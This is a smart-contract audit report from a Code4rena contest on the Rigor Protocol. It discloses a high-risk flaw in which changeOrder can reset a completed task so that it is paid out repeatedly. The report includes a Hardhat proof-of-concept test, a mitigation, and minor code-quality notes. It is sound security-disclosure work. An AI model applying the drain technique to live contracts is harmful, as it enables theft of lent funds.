Rigor Protocol contest - neumo's results

Lines of code

https://github.com/code-423n4/2022-08-rigor/blob/main/contracts/Project.sol#L330-L359 https://github.com/code-423n4/2022-08-rigor/blob/main/contracts/Project.sol#L705-L713 https://github.com/code-423n4/2022-08-rigor/blob/main/contracts/Project.sol#L386-L490 https://github.com/code-423n4/2022-08-rigor/blob/main/test/utils/projectTests.ts#L1110

Vulnerability details

High Risk Finding

Impact

In Project.sol, once a task is set as completed (by calling function setComplete), the contract pays the subcontractor. Once in this state, in should not be possible to change the task state back to ACTIVE/INACTIVE, because then the same task could be set as completed again and payed out multiple times. Furthermore, function projectCost would not return the real cost, because it loops through all tasks of a project adding up the cost of each task, but the real cost of a completed task payed out multiple times would be the cost of the task times the number of times it has been set as completed.

A call to function changeOrder can unapprove a completed task just by passing a _newCost greater than _taskCost and provided that (totalLent - _totalAllocated < _newCost - _taskCost) holds. It can also be unapproved by passing in a new subcontractor to changeOrder.

It could be possible for a malicious contractor and subcontractor to (almost) drain the total lent to the project by setting as complete, changing order to unnaprove task, then setting again as complete, multiple times.

Proof of Concept

I added a new test in file projectTests.ts, substituting test 'should be able to complete a task' with the following test:

it('should be able to changeOrder after complete a task and new state should be INACTIVE', async () => {
    const taskID = 1;
    const _taskCost = 2 * taskCost;
    const taskSC = signers[3];
    const data = {
      types: ['uint256', 'address'],
      values: [taskID, project.address],
    };
    const [encodedData, signature] = await multisig(data, [
      signers[0],
      signers[1],
      taskSC,
    ]);
    await mockDAIContract.mock.transfer
      .withArgs(taskSC.address, _taskCost)
      .returns(true);
    await mockDAIContract.mock.transfer
      .withArgs(await homeFiContract.treasury(), _taskCost / 1e3)
      .returns(true);
    const tx = await project.setComplete(encodedData, signature);
    tx.wait();

    const taskDetails = await project.getTask(taskID);
    expect(taskDetails.state).to.equal(3);

    const { subcontractor, cost } = await project.getTask(taskID);

    expect(subcontractor).to.equal(taskSC.address);

    const newCost = taskCost * 100;
    const newSC = subcontractor;
    const projectAddress = project.address;
    const data2 = {
      types: ['uint256', 'address', 'uint256', 'address'],
      values: [taskID, newSC, newCost, projectAddress],
    };
    const [encodedData2, signature2] = await multisig(data2, [
      signers[0],
      signers[1],
      taskSC,
    ]);

    const tx2 = await project.changeOrder(encodedData2, signature2);
    tx2.wait();

    const { state } = await project.getTask(taskID);

    expect(state).to.equal(3);
    
});

It first sets as complete a task, and then it call changeOrder with a greater cost and same subcontractor. The test fails, because it expects the task state to be 3 (COMPLETE), but it is 1 (INACTIVE) instead.

Tools Used

Hardhat

Recommended Mitigation Steps

There are various things that can be done to mitigate this issue, but I would:

1. Put a require at the beginning of function changeOrder to ensure the task is not already completed: require(tasks[_taskID].state != TaskStatus.Complete, "Task already completed"). A Completed task should not be changed ever.

1. Contract HomeFiProxy's name is somehow misleading, because its more a registry than a proxy. Consider changing the contract name to something like HomeFiRegistry.
2. In HomeFiProxy.sol, contractsActive and contractAddress are internal but don't start with underscore, while internal functions do. In other contracts in scope (Disputes.sol, HomeFi.sol, Project.sol, Community.sol), there are internal variables and functions starting with and without underscore. Just for readability purposes, all internal variables and functions should start either with or without underscore, but mixing both can be confusing.
3. In HomeFi.sol, the contract is limited to three possible currencies. If the project wants to add more currencies in the future, they'll have to be very careful to not break the storage, because the contract will be behind a proxy, so the new currencies will have to be appended after all storage variables. Adding a line after address public override tokenCurrency3; would be tempting but would break the storage. Consider using an address[] array, or moving the three currencies to the end of the storage.
4. In HomeFi.sol, replaceAdmin is a critical function that changes the admin of HomeFi. Changing critical addresses in contracts should be a two-step process where the first transaction (from the old/current address) registers the new address (i.e. grants admin rights) and the second transaction (from the new address) replaces the old address with the new one (i.e. claims admin rights). This gives an opportunity to recover from incorrect addresses mistakenly used in the first step. If not, contract functionality might become inaccessible.
5. In HomeFi.sol, setTrustedForwarder does not emit an event. Events for critical state changes should be emitted for tracking this off-chain.
6. In HomeFi.sol, isProjectExist has a confusing name. Consider changing it to projectExists, for instance.
7. In HomeFi.sol, modifier noChange ensures the two addresses are different. As modifier nonZero ensures the address is not zero, intuitively one could think noChange ensures the addresses are equal. Consider changing the name of the modifier to something like nonEqual.